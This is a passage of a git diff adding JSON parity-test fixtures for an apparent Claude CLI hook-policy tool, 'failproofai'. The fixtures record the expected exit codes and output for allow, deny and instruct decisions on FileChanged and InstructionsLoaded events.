"decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/FileChanged/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/FileChanged/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..a8244399 --- /dev/null +++ b/__tests__/parity/fixtures/claude/FileChanged/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/FileChanged/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/FileChanged/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..153d39d8 --- /dev/null +++ b/__tests__/parity/fixtures/claude/FileChanged/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/FileChanged/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/FileChanged/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..90723de8 --- /dev/null +++ b/__tests__/parity/fixtures/claude/FileChanged/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/FileChanged/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/FileChanged/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..05fea788 --- /dev/null +++ b/__tests__/parity/fixtures/claude/FileChanged/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "deny", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/FileChanged/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/FileChanged/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..54abb84f --- /dev/null +++ b/__tests__/parity/fixtures/claude/FileChanged/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "deny", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/FileChanged/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/FileChanged/deny__tool-present__one-policy.json new file mode 100644 index 00000000..8d70ca45 --- /dev/null +++ b/__tests__/parity/fixtures/claude/FileChanged/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "claude", + "decision_kind": "deny", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/FileChanged/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/FileChanged/deny__tool-present__two-policies.json new file mode 100644 index 00000000..d3e7d728 --- /dev/null +++ b/__tests__/parity/fixtures/claude/FileChanged/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "claude", + "decision_kind": "deny", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/FileChanged/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/FileChanged/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..e1d576c8 --- /dev/null +++ b/__tests__/parity/fixtures/claude/FileChanged/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "instruct", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"FileChanged\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/FileChanged/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/FileChanged/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..67dd302c --- /dev/null +++ b/__tests__/parity/fixtures/claude/FileChanged/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "instruct", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"FileChanged\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/FileChanged/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/FileChanged/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..86b73366 --- /dev/null +++ b/__tests__/parity/fixtures/claude/FileChanged/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "claude", + "decision_kind": "instruct", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"FileChanged\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/FileChanged/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/FileChanged/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..190e7743 --- /dev/null +++ b/__tests__/parity/fixtures/claude/FileChanged/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "claude", + "decision_kind": "instruct", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"FileChanged\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/InstructionsLoaded/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/InstructionsLoaded/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..9e6e6178 --- /dev/null +++ b/__tests__/parity/fixtures/claude/InstructionsLoaded/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/InstructionsLoaded/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/InstructionsLoaded/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..61af4bcd --- /dev/null +++ b/__tests__/parity/fixtures/claude/InstructionsLoaded/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/InstructionsLoaded/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/InstructionsLoaded/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..8edf53bc --- /dev/null +++ b/__tests__/parity/fixtures/claude/InstructionsLoaded/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/InstructionsLoaded/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/InstructionsLoaded/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..5adf8e99 --- /dev/null +++ b/__tests__/parity/fixtures/claude/InstructionsLoaded/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/InstructionsLoaded/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/InstructionsLoaded/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..5226655c --- /dev/null +++ b/__tests__/parity/fixtures/claude/InstructionsLoaded/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/InstructionsLoaded/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/InstructionsLoaded/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..b5f57938 --- /dev/null +++ b/__tests__/parity/fixtures/claude/InstructionsLoaded/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/InstructionsLoaded/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/InstructionsLoaded/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..99739ef6 --- /dev/null +++ b/__tests__/parity/fixtures/claude/InstructionsLoaded/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/InstructionsLoaded/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/InstructionsLoaded/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..88edaa34 --- /dev/null +++ b/__tests__/parity/fixtures/claude/InstructionsLoaded/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ 